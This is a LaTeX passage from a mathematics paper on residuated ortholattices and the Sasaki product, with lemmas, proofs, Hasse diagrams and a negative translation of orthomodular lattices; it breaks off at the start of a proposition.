The following lemma is used throughout the sequel. Its proof is straightforward, and we omit it.
\begin{lemma}\label{SasProps}
Let ${\mathbf A}$ be a bounded involutive lattice and let $x,y,z\in A$. Then:
\begin{enumerate}[\quad(1)]
\item If $y\leq z$, then $x\cdot y\leq x\cdot z$ and $x\shook y\leq x\shook z$.
\item $x\wedge y \leq x\cdot y \leq x$.
\item $x\cdot x = x$.
\item $x\cdot 1 = 1\cdot x = x$.
\item $0\cdot x=0$ and $x\cdot 0 = x\wedge \neg x$.
\item $x\shook 0 = \neg x$.
\item $x\cdot \neg x = \neg x \cdot x = x\wedge \neg x$.
\item $x\cdot y=(\neg x \vee y)\cdot x$.
\end{enumerate}
If additionally ${\mathbf A}$ is a residuated ortholattice and $S\subseteq A$, then the following hold:
\begin{enumerate}[\quad(1)]
\setcounter{enumi}{8}
\item $x(x\backslash y)\leq y$.
\item $x\backslash x = 1$.
\item If $y\leq z$, then $x\backslash y \leq x\backslash z$.
\item If $\bigvee S$ exists in $\mathbf A$, then $\bigvee_{y\in S} xy$ exists in ${\mathbf A}$ and $x\cdot \bigvee S = \bigvee_{y\in S} xy$.
\item If $\bigwedge S$ exists in $\mathbf A$, then $\bigwedge_{y\in S} x\backslash y$ exists in ${\mathbf A}$ and $x\backslash \bigwedge S = \bigwedge_{y\in S}x\backslash y$.
\end{enumerate}
\end{lemma}
Sasaki product is not generally associative, but we can establish several weak forms of associativity (compare with \cite{GGN2015}).
\begin{definition}
Let $A$ be a set and let $\star$ be binary operation on $A$. We say that $\star$ is:
\begin{enumerate}[\quad(1)]
\item \emph{left alternative} if $(x\star x)\star y = x\star (x\star y)$ for all $x,y\in A$.
\item \emph{right alternative} if $y\star (x\star x) = (y\star x)\star x$ for all $x,y\in A$.
\item \emph{alternative} if it is both left and right alternative.
\item \emph{flexible} if $(x\star y)\star x = x\star (y\star x)$ for all $x,y\in A$.
\item \emph{power associative} if $\star$ is associative in every 1-generated subalgebra of $(A,\star)$.
\end{enumerate}
\end{definition}
\begin{lemma}\label{prop: idem}
Let ${\mathbf A}$ be a bounded involutive lattice. Then:
\begin{enumerate}[\quad(1)]
\item $\cdot$ is power associative and alternative.
\item $(xy)x\approx xy$.
\item $x(yx)\leq (xy)x$.
\item If $\mathbf A$ also satisfies $x(y\vee z)\approx xy\vee xz$, then $\cdot$ is flexible. In particular, this holds if ${\mathbf A}$ is a residuated ortholattice.
\end{enumerate}
\end{lemma}
\begin{proof} (1) The operation $\cdot$ is idempotent by \Cref{SasProps}(3), and idempotency entails power associativity. Since $\cdot$ is idempotent, we need only verify $xy \approx x(xy)$ to prove left alternativity and $yx \approx (yx)x$ to prove right alternativity. Let $x,y\in A$. Now by \Cref{SasProps}(2) we obtain
$$x y = x\wedge x y \leq x (x y)
\quad
\&
\quad
(y x) x \leq y x,
$$
so it suffices to verify the reverse inequalities.
For left alternativity, observe that $x (x y) \leq x y$ if and only if $x (x y)\leq x$ and $x (x y)\leq \neg x \vee y$. The former conjunct holds by \Cref{SasProps}(2). For the latter, since $x y\leq \neg x \vee y$ by definition, we have
$$x (x y)=x\wedge(\neg x \vee x y)\leq \neg x \vee x y \leq \neg x\vee (\neg x\vee y)=\neg x\vee y.$$
For right alternativity, $y x \leq (y x) x$ if and only if $y x\leq y x$ and $y x \leq \neg(y x)\vee x$. We need only verify the latter inequality since $\leq$ is reflexive. Again, $y x\leq y$ and $y x\leq \neg y \vee x$ by definition, and since $\neg$ is order reversing, we obtain
$$y x\leq \neg y \vee x \leq \neg(y x)\vee x.$$
It follows that $\cdot$ is both left and right alternative, and hence alternative.
(2) Let $x,y\in A$. Observe that:
$$\begin{array}{r c l l}
(xy)x &=& (x\wedge (\neg x\vee y))x&\mbox{Definition of $\cdot$}\\
&=& (x\wedge (\neg x\vee y)) \wedge [\neg (x\wedge (\neg x\vee y)) \vee x]&\mbox{Definition of $\cdot$}\\
&=& x\wedge (\neg x\vee y) \wedge [\neg x\vee (x\wedge \neg y) \vee x]&\mbox{Involutive lattice properties}\\
&=& x\wedge (\neg x\vee y) \wedge (x\vee\neg x)&\mbox{Absorption law}\\
&=& x\wedge (\neg x\vee y)&\mbox{Absorption law}\\
&=& xy.&\mbox{Definition of $\cdot$}\\
\end{array}$$
(3) Recall that $\cdot$ is isotone in its second coordinate and $yx\leq y$ by \Cref{SasProps}(2). Thus using (2) we have for all $x,y\in A$ that $x(yx)\leq xy = (xy)x$.
(4) By (2) and (3) it is enough to verify $xy\leq x(yx)=x\wedge (\neg x \vee yx)$. Since $xy\leq x$ by \Cref{SasProps}(2), this is equivalent to showing $xy\leq \neg x \vee yx$. Observe that:
$$\begin{array}{r c l l}
xy &=& x\wedge (\neg x \vee y)&\mbox{Definition of $\cdot$}\\
&\leq & (x\vee \neg y) \wedge (\neg x \vee y) &\mbox{Lattice properties} \\
&\leq& (x\vee \neg y) \cdot (\neg x\vee y)&\mbox{\Cref{SasProps}(2)}\\
&=&(x\vee\neg y)(\neg x) \vee (x\vee \neg y)y&\mbox{Since $x(y\vee z)\approx xy\vee xz$}\\
&=& (\neg (\neg x)\vee\neg y)(\neg x) \vee ( \neg y\vee x)y&\mbox{Involutive lattice properties}\\
&=& (\neg x) (\neg y) \vee yx&\mbox{\Cref{SasProps}(8)}\\
&\leq&\neg x \vee yx &\mbox{By \Cref{SasProps}(2)}.
\end{array}
$$
Therefore the claim is settled.
\end{proof}
Note that the hypothesis of \Cref{prop: idem}(4) cannot be dropped, even if ${\mathbf A}$ is assumed to be an ortholattice (see the example depicted in Figure~\ref{fig:not flex}).
\begin{figure}[t]
\centering
\begin{tikzpicture}
\node[label=right:\tiny{$1=\neg0$}] at (-\aa,3/2) {$\bullet$};
\node[label=right:\tiny{$y$}] at (-3/2,\aa) {$\bullet$};
\node[label=right:\tiny{$\neg x$}] at (-\aa,\aa) {$\bullet$};
\node[label=right:\tiny{$z$}] at (\aa,\aa) {$\bullet$};
\node[label=right:\tiny{$\neg z$}] at (-\aa,-\aa) {$\bullet$};
\node[label=right:\tiny{$\neg y$}] at (\aa,-\aa) {$\bullet$};
\node[label=right:\tiny{$ x$}] at (3/2,-\aa) {$\bullet$};
\node[label=right:\tiny{$0=\neg 1$}] at (\aa,-3/2) {$\bullet$};
\draw (-\aa,3/2) -- (-3/2,\aa);
\draw (-\aa,3/2) -- (-\aa,\aa);
\draw (-\aa,3/2) -- (\aa,\aa);
\draw (-\aa,-\aa) -- (-3/2,\aa);
\draw (-\aa,-\aa) -- (-\aa,\aa);
\draw (\aa,-\aa) -- (\aa,\aa);
\draw (3/2,-\aa) -- (\aa,\aa);
\draw (\aa,-3/2) -- (-\aa,-\aa);
\draw (\aa,-3/2) -- (\aa,-\aa);
\draw (\aa,-3/2) -- (3/2,-\aa);
\end{tikzpicture}
\label{fig:not flex}
\caption{The labeled Hasse diagram of an ortholattice whose Sasaki product $\cdot$ is not flexible. E.g., $(xy)x=x\neq 0 = x(yx)$.}
\end{figure}
\subsection{Term-definability of residuals}\label{sec:term def}
If ${\mathbf A}$ is an OML, the residual of $\cdot$ is given $\shook $, which is itself definable by a \emph{term} in the language $\{\wedge,\vee,\neg\}$. This is a remarkable property that OMLs share with Boolean algebras (but generally not other kinds of residuated structures), and has been pursued as another avenue of generalizing OMLs (see \cite{CL2020, F2020}). We will show that OMLs are the only residuated ortholattices with this property. Toward this, we recall the following well-known fact about OLs and OMLs \cite[Proposition 2.1]{BH2000}.
\begin{lemma}\label{lem:forbidden}
Let ${\mathbf A}$ be an ortholattice, and denote by ${\mathbf B}_6$ the ortholattice whose labeled Hasse diagram is depicted in \Cref{fig:benzene}. The following are equivalent.
\begin{enumerate}[\quad(1)]
\item ${\mathbf A}$ is orthomodular.
\item ${\mathbf B}_6$ is not a subalgebra of ${\mathbf A}$.
\end{enumerate}
\end{lemma}
Using this fact, we obtain the following.
\begin{figure}[t]
\centering
\begin{tikzpicture}[baseline=(current bounding box.center)]
\node[label=right:\tiny{$1=\neg0$}] at (0,0) {$\bullet$};
\node[label=left:\tiny{$a$}] at (-0.5,-0.5) {$\bullet$};
\node[label=left:\tiny{$\neg b$}] at (-0.5,-1) {$\bullet$};
\node[label=right:\tiny{$b$}] at (0.5,-0.5) {$\bullet$};
\node[label=right:\tiny{$\neg a$}] at (0.5,-1) {$\bullet$};
\node[label=right:\tiny{$0=\neg1$}] at (0,-1.5) {$\bullet$};
\draw (0,0) -- (-0.5,-0.5);
\draw (0,0) -- (0.5,-0.5);
\draw (-0.5,-1) -- (0,-1.5);
\draw (0.5,-1) -- (0,-1.5);
\draw (0.5,-0.5) -- (0.5,-1);
\draw (-0.5,-0.5) -- (-0.5,-1);
\end{tikzpicture}
\quad\quad
\begin{tabular}{|c|cccccc}
\hline
$\backslash$ & \multicolumn{1}{c|}{$0$} & \multicolumn{1}{c|}{$\neg a$} & \multicolumn{1}{c|}{$\neg b$} & \multicolumn{1}{c|}{$a$} & \multicolumn{1}{c|}{$b$} & \multicolumn{1}{c|}{$1$} \\ \hline
$0$ & $1$ & $1$ & $1$ & $1$ & $1$ & $1$ \\ \cline{1-1}
$\neg a$ & $a$ & $1$ & $a$ & $a$ & $1$ & $1$ \\ \cline{1-1}
$\neg b$ & $b$ & $b$ & $1$ & $1$ & $b$ & $1$ \\ \cline{1-1}
$a$ & $b$ & $b$ & $b$ & $1$ & $b$ & $1$ \\ \cline{1-1}
$b$ & $a$ & $a$ & $a$ & $a$ & $1$ & $1$ \\ \cline{1-1}
$1$ & $0$ & $\neg a$ & $\neg b$ & $a$ & $b$ & $1$ \\ \cline{1-1}
\end{tabular}
\caption{The forbidden configuration ${\mathbf B}_6$, also called \emph{Benzene}, that witnesses the failure of the orthomodular law.}
\label{fig:benzene}
\end{figure}
\begin{theorem}\label{thm:term definable}
Let ${\sf V}$ be a subvariety of $\sf ROL$ such that $\backslash$ is definable in $\sf V$ by a term in the language $\{\wedge,\vee,\neg,0,1\}$. Then ${\sf V}$ is a variety of OMLs.
\end{theorem}
\begin{proof}
Let $t(x,y)$ be a term in the language $\{\wedge,\vee,\neg,0,1\}$ such that ${\sf V}$ satisfies $t(x,y)\approx x\backslash y$, and toward a contradiction assume that $\sf V$ is not a variety of OMLs. Then there exists ${\mathbf A}\in\sf V$ such that ${\mathbf A}$ is not orthomodular, and by \Cref{lem:forbidden} we have that ${\mathbf B}_6$ is a subalgebra of ${\mathbf A}$ in the signature $\{\wedge,\vee,\neg,0,1\}$. Since $t(x,y)$ is a term in the language $\{\wedge,\vee,\neg,0,1\}$, we have that $t(x,y)$ defines a residual in the $\{\wedge,\vee,\neg,0,1\}$-subalgebra ${\mathbf B}_6$. Because the residual of $\cdot$ is uniquely-determined when it exists, it follows that $t(x,y)$ is a term defining the operation $\backslash$ given in the table of \Cref{fig:benzene}. Note that every ortholattice congruence of ${\mathbf B}_6$ respects the term $t(x,y)$, whence that every ortholattice congruence is a congruence for $\backslash$ as well. However, it is easy to see the ortholattice congruence generated by $(a,\neg b)$ does not respect $\backslash$. It follows that the residual of ${\mathbf B}_6$ is not term-definable, a contradiction.
\end{proof}
\begin{proposition}\label{prop:residuated implies ortholattice}
Let ${\mathbf A}$ be a bounded involutive lattice. The following are equivalent.
\begin{enumerate}[\quad(1)]
\item ${\mathbf A}$ is an OML.
\item ${\mathbf A}$ satisfies the quasiequation $x\leq y\implies y\cdot x\approx x$.
\item ${\mathbf A}$ satisfies the identity $x\cdot (x\shook y)\leq y$.
\item ${\mathbf A}$ is an ROL and ${\mathbf A}$ satisfies the identity $x\cdot y \approx x \odot y$, where $\odot$ is the co-residual of $\shook$.
\item ${\mathbf A}$ is an ROL and ${\mathbf A}$ satisfies the identity $x\backslash y \approx x \shook y$.
\item ${\mathbf A}$ is an ROL and $\backslash$ is definable by a term in the language $\{\wedge,\vee,\neg,0,1\}$.
\end{enumerate}
\end{proposition}
\begin{proof} (1) is easily seen to be equivalent to (2) from the quasiequation defining orthomodularity. If ${\mathbf A}$ is an OML, then $x\cdot (x\shook y)\leq y$ follows because $\shook $ is an upper adjoint for $\cdot$ by \cite{CL2017}. Conversely, if (3) holds then ${\mathbf A}$ can readily be seen to be an ortholattice since, by \Cref{SasProps},
$$x\wedge \neg x = x\cdot \neg x = x\cdot(x\shook 0)\leq 0, $$
and hence $x\wedge \neg x = 0$. To show that ${\mathbf A}$ is orthomodular, suppose that $x,y\in A$ with $x\leq y$. On the one hand, $x= y\land x$ and we obtain $x = y\land x \leq y\wedge (\neg y\vee x) = y\cdot x$. On the other hand, $x\leq \neg y \vee x = \neg y \vee (y \wedge x) = y\shook x.$ By the hypothesis and the fact that $\cdot$ preserves the order on the right, we get $ y\cdot x \leq y\cdot (y\shook x) \leq x$. Therefore $x = y\cdot x$. It follows that (1), (2), and (3) are equivalent.
(4) and (5) are readily seen to be equivalent to one another. (5) implies (3) follows because $x(x\backslash y)\leq y$ in any ROL, whereas the converse comes from \cite{CL2017}. Thus items (1) through (5) are equivalent, and (6) is equivalent to these as an immediate consequence of \Cref{thm:term definable} and \cite{CL2017}.
\end{proof}
\section{Congruence regularity and the logic of residuated ortholattices}\label{sec:logic}
Let $\sf K$ be a class of algebras of common similarity type $\mathcal{L}$. Recall that the \emph{relative equational consequence of ${\sf K}$} is the relation $\models_{\sf K}$ from sets of $\mathcal{L}$-equations to $\mathcal{L}$-equations defined by $E\models_{\sf K} s\approx t$ if and only if for every ${\mathbf A}\in\sf K$ and every tuple $\vec a$ assigning elements to the variables appearing in $E\cup\{s\approx t\}$, if $u^{\mathbf A}({\vec a})=v^{\mathbf A}({\vec a})$ for all $(u\approx v)\in E$ then $s^{\mathbf A}({\vec a})=t^{\mathbf A}({\vec a})$. If further $\mathcal{L}$ contains a constant symbol $1$, the \emph{assertional logic of $\sf K$} (see \cite[Definition 3.5]{F2016}) is the logic $(\mathcal{L},\vk)$, where $\vk$ is the relation from sets of $\mathcal{L}$-formulas to $\mathcal{L}$-formulas given by
$$\Gamma\vk\varphi \iff \{\gamma\approx 1 : \gamma\in\Gamma\}\models_{\sf K}\varphi\approx 1.$$
The assertional logic of $\sf OL$ is a textbook example of a logic that is weakly algebraizable but not algebraizable \cite[Example 6.122.5]{F2016}. This defect is related to the structure of congruences of OLs. Recall that an algebra ${\mathbf A}$ with a constant $1$ is said to be $1$-regular if for any congruences $\theta,\psi$ of $\mathbf A$ we have that $[1]_\theta=[1]_\psi$ implies $\theta=\psi$, where $[a]_\theta$ denotes the $\theta$-congruence class of $a\in A$. A variety $\mathsf{V}$ whose language has a designated constant $1$ is said to be \emph{$1$-regular} if all of the algebras in $\mathsf{V}$ are $1$-regular. It is well-known \cite[Proposition 4.3]{BH2000} that $\sf OML$ is $1$-regular, and that the assertional logic of every $1$-pointed, $1$-regular variety is algebraizable in the sense of Blok and Pigozzi (see \cite[Theorem 6.146]{F2016} and \cite{BP1989}).
\begin{lemma}\label{lem:regularity}
The variety $\rol$ of residuated ortholattices is $1$-regular.
\end{lemma}
\begin{proof}
Let ${\mathbf A} = (A,\wedge,\vee,\neg,\backslash,0,1)$ be a residuated ortholattice and suppose that $\theta,\psi$ are congruences of ${\mathbf A}$ such that $[1]_\theta= [1]_\psi$. Let $(x,y)\in\theta$. Then by applying the fact that $\theta$ is a congruence for $\backslash$ and $(x,x),(y,y)\in\theta$, we have that $(x\backslash x,x\backslash y),(y\backslash y,y\backslash x)\in\theta$, i.e., $(1,x\backslash y),(1,y\backslash x)\in\theta$. It follows from the hypothesis that $(1,x\backslash y), (1,y\backslash x)\in\psi$. Since $\psi$ is a congruence for $\wedge,\vee,\neg$, $\psi$ is also a congruence for $\cdot$. Hence it follows that $(x,x(x\backslash y)),(y,y(y\backslash x))\in\psi$ as well. Now because $x(x\backslash y)\vee y = y$ and $y(y\backslash x)\vee x = x$, it follows that
$(x\vee y, y)\in\psi$ and $(x,x\vee y)\in\psi$. By transitivity, we obtain that $(x,y)\in\psi$ and $\theta\subseteq\psi$. A symmetric argument shows that $\psi\subseteq\theta$, whence $\theta=\psi$.
\end{proof}
The following is an immediate corollary of \Cref{lem:regularity} and the preceding remarks. It demonstrates that the logical deficiencies of $\sf OL$ (as compared to $\sf OML$) can be ameliorated by the expressive power afforded by adding a residual.
\begin{theorem}\label{thm:algebraizable}
The assertional logic of $\rol$ is algebraizable in the sense of Blok and Pigozzi and its equivalent algebraic semantics is $\rol$.
\end{theorem}
Among other consequences, this entails that the lattice of axiomatic extensions of the assertional logic of $\rol$ is dually isomorphic to the lattice of subvarieties of $\rol$. Although one could extract a syntactic presentation of the assertional logic of $\rol$ (e.g., providing a Hilbert-style calculus), we do not further address this issue in the present paper.
\section{A negative translation and relative decidability}\label{sec:translation}
As a final topic for this paper, we exhibit a negative translation of $\sf OML$ into $\sf ROL$ inspired by \cite{GO2006}. For this, we will need a number of preliminary lemmas.
\subsection{Preliminaries to the translation}
\begin{lemma}\label{SasRes}
Let $\mathbf A$ be a residuated ortholattice. Then for all $x,y\in A$:
\begin{enumerate}[\quad(1)]
\item $\neg x \leq x\backslash y$.
\item $\neg(x\backslash y)\leq x \leq (\neg x)\backslash y$.
\item $(x\backslash y)x=x\wedge x\backslash y =x(x\backslash y)$.
\item $x\wedge x\backslash y \leq y$.
\item $x\backslash (x\wedge y) = x\backslash y$.
\item $xy=x(yx)$.
\item $xy=0$ if and only if $yx=0$.
\end{enumerate}
\end{lemma}
\begin{proof}
Recall that $x(\neg x)=(\neg x)x=x\cdot 0=x\wedge\neg x=0$ by \Cref{SasProps}. (1) and (2) are easy computations. For (3), observe that:
$$\begin{array}{r c l l}
(x\backslash y)x &=& x\backslash y \wedge (\neg(x\backslash y)\vee x) & \mbox{Definition of $\cdot$}\\
&=&x\backslash y \wedge x & \mbox{By (2)}\\
&=& x \wedge (\neg x \vee x\backslash y)& \mbox{By (1)}\\
&=& x(x\backslash y) &\mbox{Definition of $\cdot$}
\end{array}
$$
Note that (4) follows immediately from (3) and the fact that $x(x\backslash y)\leq y$.
For (5), the $\leq$ direction follows from \Cref{SasProps}(11).
On the other hand, $x\backslash y \leq x\backslash (x\wedge y)$ if and only if $x(x\backslash y)\leq x\wedge y$, which holds by \Cref{SasProps}(2,9). (6) follows directly from \Cref{prop: idem}(2) and (4). Clearly, (7) follows from (6) since $yx=0$ implies $xy = x(yx)=x\cdot 0 = 0$. The converse follows symmetrically.
\end{proof}
Given a residuated ortholattice $\mathbf A = (A,\wedge,\vee,\backslash,0,1)$, we define the following operations on $\mathbf A$:
$$
\begin{array}{c c c }
{\sim} x := x\backslash 0 && \dblr x := {\sim}\rneg x\\
x * y := x\wedge({\sim} x \vee y) && x\runder y := {\sim} x\vee(x\wedge y)
\end{array}
$$
Define also the sets ${\sim} X=\{{\sim} x: x\in X \}$ and $\dblr X = \{\dblr x: x\in X \}$ for $X\subseteq A$.
\begin{lemma}\label{lem:Rneg}
Let $\mathbf A$ be a residuated ortholattice and let $x,y\in A$. Then ${\sim}$ is antitone, and:
\begin{enumerate}[\quad(1)]
\item ${\sim} 1 = 0$ and ${\sim} 0=1$.
\item $x\leq {\sim}\rneg x$
\item ${\sim} x = {\sim}\rneg {\sim} x$. Hence ${\sim} A \subseteq \dblr{A}$ and $\dblr{A}=\dblr{\dblr{A}}$.
\item ${\sim}(x\vee y)= {\sim} x \wedge {\sim} y$. \item ${\sim} {\sim} x = {\sim} \neg x$.
\item If $x,y\in\dblr{A}$ and $x\leq y$, then $y* x = x$.
\item ${\sim} x \vee {\sim} y = {\sim} (x\wedge y)$.
\end{enumerate}
\end{lemma}
\begin{proof}
As a consequence of \Cref{SasRes}, we have $\neg x \leq {\sim} x$, $\neg{\sim} x \leq x\leq {\sim}\neg x$, and ${\sim} x\cdot x=x \wedge {\sim} x = x\cdot {\sim} x=0$. For the antitonicity of ${\sim}$, suppose $x\leq y$.
We wish to show ${\sim} y\leq {\sim} x$. By residuation, it is enough to show $x\cdot {\sim} y\leq 0$, or equivalently (by \Cref{SasRes}(7)), that ${\sim} y\cdot x\leq 0$. Since $\cdot$ preserves the order in its right coordinate, ${\sim} y\cdot x\leq {\sim} y \cdot y \leq 0$.
Therefore ${\sim}$ is antitone. Note that the antitonicity of ${\sim}$ immediately yields that:
\begin{equation}\tag{DM1}\label{eq:DM1}
{\sim}(x\vee y)\leq {\sim} x \wedge {\sim} y,
\end{equation}
\begin{equation}\tag{DM2}\label{eq:DM2}
{\sim} x \vee {\sim} y \leq {\sim} (x\wedge y).
\end{equation}
We now prove (1)--(7).
(1) By \Cref{SasProps}(4), ${\sim} 1 = 1\cdot {\sim} 1\leq 0$. On the other hand, $0\cdot 1 =0$ and thus $1\leq {\sim} 0$.
(2) By residuation, $x\leq {\sim}\rneg x =({\sim} x)\backslash 0$ if and only if ${\sim} x \cdot x\leq 0$, which holds as noted above.
(3) Applying ${\sim}$ to (2), ${\sim} \dblr x \leq {\sim} x$. On the other hand, ${\sim} x\leq \dblr{{\sim} x}$ by (2). Since ${\sim}\rneg{\sim} x ={\sim}\dblr x = \dblr{{\sim} x}$, the first claim follows. The second claim follows since ${\sim} x = {\sim} \dblr x$, and thus $\dblr x = \dblr{\dblr{x}}$.
(4) Using residuation and \Cref{SasRes}(7), we have ${\sim} x \wedge {\sim} y\leq {\sim}(x\vee y)$ if and only if $(x\vee y)({\sim} x \wedge {\sim} y)\leq 0$ if and only if $({\sim} x\vee {\sim} y)(x\vee y)\leq 0$ if and only if $x\vee y \leq {\sim}({\sim} x\wedge {\sim} y)$.
Observe that:
$$\begin{array}{r c l l}
x\vee y &\leq& {\sim}\rneg x \vee {\sim}\rneg y& \mbox{By (2)}\\
&\leq& {\sim}({\sim} x\wedge {\sim} y) & \mbox{By (\ref{eq:DM2})}.
\end{array}$$
The claim then follows from (\ref{eq:DM1}).
(5) Since $\neg x\leq{\sim} x$ by \Cref{SasRes}(1), the antitonicity of ${\sim}$ gives ${\sim}\rneg x \leq {\sim} \neg x$. Thus we need only verify ${\sim} \neg x \leq {\sim}\rneg x$, or equivalently that ${\sim} x \cdot {\sim} \neg x\leq 0$. Observe that:
$$\begin{array}{r c l l}
{\sim} x\cdot {\sim} \neg x &=& {\sim} x\wedge (\neg{\sim} x \vee {\sim} \neg x)&\mbox{Definition of $\cdot$}\\
&=&{\sim} x\wedge {\sim} \neg x&\mbox{By \Cref{SasRes}(2)}\\
&=&{\sim} ( x \vee \neg x)&\mbox{By (4)}\\
&=&{\sim} 1\\
&=& 0&\mbox{By (1)}.
\end{array}$$
(6) Clearly $a\cdot b \leq a* b$ since $\neg a \leq {\sim} a$. Hence $x\leq y$ implies $x=y \wedge x\leq y\cdot x \leq y* x$. Thus, it suffices to show $y* x \leq x$. Since $x={\sim}\rneg x$ by assumption, this is equivalent to showing that ${\sim} x \cdot (y* x)\leq 0$. Note that $\neg {\sim} x\leq x \leq y* x $ by \Cref{SasRes}(2) and $x\leq y$, and observe:
$$\begin{array}{r c l l}
{\sim} x \cdot (y* x) &=& {\sim} x\wedge (\neg {\sim} x \vee y* x)\\
&=&{\sim} x \wedge y* x \\
&=& {\sim} x \wedge (y\wedge ({\sim} y \vee x))\\
&=& ({\sim} x \wedge y) \wedge (x \vee {\sim} y)\\
&=& ({\sim} x \wedge {\sim}({\sim} y))\wedge (x\vee {\sim} y)&\mbox{Since $y=\dblr y$}\\
&=& {\sim}(x \vee {\sim} y) \wedge (x\vee {\sim} y)&\mbox{By (4)}\\
&=& 0.
\end{array} $$
(7) Let $a= {\sim} (x\wedge y)$ and $b={\sim} x \vee {\sim} y$. Since $b\leq a$ by (\ref{eq:DM2}), it is enough to verify $a\leq b$. We claim first that $ab=a$. Since $ab=a\wedge (\neg a \vee b)$, it suffices to show $\neg a \vee b=1$, or equivalently, $a\wedge \neg b \leq 0 $. Now,
$$\neg b = \neg({\sim} x\vee {\sim} y)=\neg {\sim} x \wedge \neg {\sim} y \leq x\wedge y,$$
by \Cref{SasRes}(2), and hence $a\wedge \neg b \leq a\wedge (x\wedge y)=0$ since ${\mathbf A}$ is an ortholattice. Now note that ${\sim} x, {\sim} y, $ and $a={\sim} (x\wedge y)$ are contained in $\dblr A$ by (3). Furthermore, ${\sim} x,{\sim} y\leq a$ since $b\leq a$. Hence for $c\in \{{\sim} x,{\sim} y\}$, by (6) it follows that $a* c=c$ and thus $a\cdot c\leq c$. Therefore,
$a =a({\sim} x \vee {\sim} y)=a({\sim} x) \vee a({\sim} y) \leq {\sim} x \vee {\sim} y. $
\end{proof}
\begin{lemma}\label{cor:OmlRol}
Let ${\mathbf A}$ be a residuated ortholattice. Then the following are equivalent:
\begin{enumerate}[\quad(1)]
\item $\mathbf A$ is an OML.
\item $\mathbf A$ satisfies ${\sim} x \approx\neg x$.
\item ${\mathbf A}$ satisfies $x\approx{\sim}\rneg x$.
\end{enumerate}
\end{lemma}
\begin{proof}
First we show (2) and (3) are equivalent. If (2) holds then ${\sim}\rneg x=\neg \neg x = x$. If (3) holds then $\neg x = {\sim}\rneg(\neg x) = {\sim} ({\sim} \neg x)={\sim}({\sim}\rneg x)={\sim} x$ by \Cref{lem:Rneg}(5) and (3).
Now we show (1) is equivalent to (2) and (3). Supposing $\mathbf A$ is an OML, by \Cref{prop:residuated implies ortholattice}, $\backslash$ and $\shook $ coincide. By \Cref{SasProps}(6), $\neg x = x\shook 0 = x\backslash 0 = {\sim} x$.
On the other hand, supposing (2) and (3) hold, ${\neg}$ and ${{\sim}}$ coincide and $A=\dblr A$. Suppose $x,y\in A=\dblr{A}$ with $x\leq y$. Then by \Cref{lem:Rneg}(6) we have $y* x = x$. But we have $y* x = y\wedge ({\sim} y\vee x)=y\wedge(\neg y\vee x)=y\cdot x$, so $y\cdot x=x$. Then ${\mathbf A}$ is an OML by \Cref{prop:residuated implies ortholattice}(2), completing the proof.
\end{proof}
\begin{lemma}\label{lem:dblr}
Let $\mathbf A$ be a residuated ortholattice. Then for all $x,y\in A$:
\begin{enumerate}[(1)]
\item $\dblr{\dblr x}=\dblr x$ and $\dblr{\neg x}={\sim} \dblr x={\sim} x$.
\item $\dblr{x\vee y}=\dblr{x}\vee \dblr{y}$ and $\dblr{x\wedge y}=\dblr{x}\wedge \dblr{y}$.
\item $\dblr{x\cdot y}=\dblr x* \dblr y$.
\end{enumerate}
\end{lemma}
\begin{proof} Clearly (1) follows from \Cref{lem:Rneg}(3,5) and (2) follows from \Cref{lem:Rneg}(4,7).
Using these facts, observe that: $\dblr{x\cdot y}=\dblr{x\wedge (\neg x \vee y)} =\dblr{x}\wedge (\dblr{\neg x} \vee \dblr{y})=\dblr x\wedge({\sim} \dblr x\vee \dblr y)=\dblr x* \dblr y.$
\end{proof}
For a residuated ortholattice ${\mathbf A}$, define ${\dblr{\mathbf A}} = (\bar{A},\wedge,\vee,{\sim},\runder,0,1)$.
\begin{lemma}\label{omlA}
Let $\mathbf A = (A,\wedge,\vee,\neg,\backslash,0,1)$ be a residuated ortholattice.
\begin{enumerate}[(1)]
\item $\dblr{\mathbf A}$ is an OML.
\item The map $x\mapsto\dblr{x}$ is an ortholattice homomorphism of ${\mathbf A}$ onto $\dblr{\mathbf A}$.
\item $\dblr{x}\backslash\dblr{y}=\dblr x\runder \dblr y$ for all $x,y\in A$.
\end{enumerate}
\end{lemma}
\begin{proof}
For (1), note by \Cref{lem:Rneg}(1) and \Cref{lem:dblr}(2), it follows that $(\bar{A},\wedge,\vee,0,1)$ is hereditarily a bounded lattice. By \Cref{lem:Rneg} and \Cref{lem:dblr}(1), ${\sim}$ is an antitone involution on $\dblr{\mathbf A}$, which furthermore satisfies $x\wedge {\sim} x\approx 0$ by \Cref{SasRes}. Thus $\dblr{\mathbf A}$ is an ortholattice. Noting that the Sasaki product in $\dblr{\mathbf A}$ is $*$, observe that $\dblr{\mathbf A}$ satisfies the quasiequation $x\leq y\implies y* x \approx x$ by \Cref{lem:Rneg}(6), whence by \Cref{prop:residuated implies ortholattice}(2) we have that $\dblr{\mathbf A}$ is orthomodular. (2) is immediate from \Cref{lem:dblr}, and (3) is a straightforward computation using the fact that $\runder$ is the residual of $*$ in the OML $\dblr{\mathbf A}$.
\end{proof}
\begin{caution}
The identity ${\sim}\rneg (x\backslash y) \approx {\sim}\rneg x \backslash {\sim}\rneg y$ is false in ${\mathbf B}_6$ since $\dblr{a\backslash \neg b}=\dblr{b}=b\neq 1 = a\backslash a =\dblr{a}\backslash \dblr{\neg b}$. Thus the map $x\mapsto\bar{x}$ is not an ROL homomorphism.
\end{caution}
\subsection{The negative translation}
Let $t$ be a residuated ortholattice term, and recall that ${\sim} t:= t\backslash 0$ and $\dblr t:={\sim}\rneg t$. We define the term $\mathrm{T}(t)$ inductively on the complexity of $t$ as follows: $\mathrm{T}(0)=0$, $\mathrm{T}(1)=1$, $\mathrm{T}(x)=\dblr x$ for all variables $x$, $\mathrm{T}(\neg s)={\sim} \mathrm{T}(s)$, and $\mathrm{T}(r\star s)= \mathrm{T}(r)\star \mathrm{T}(s)$ for each $\star\in\{\wedge,\vee,\backslash \}$. If $E$ is a set of equations, we define the translation of this set to be $\mathrm{T}[E] = \{\mathrm{T}(u)\approx\mathrm{T}(v): (u\approx v)\in E \}$.
\begin{definition}
For subvarieties $\W,\mathsf{V}$ of $\rol$, we say the $\mathsf{V}$ is {\em translatable into $\W$} if for any sets of equations $E\cup\{s\approx t\}$ in the language of residuated ortholattices,
$E\models_\mathsf{V} {s\approx t} \iff \mathrm{T}[E]\models_\W \mathrm{T}(s)\approx \mathrm{T}(t). $
\end{definition}
The following is evident:
\begin{proposition}\label{decid}
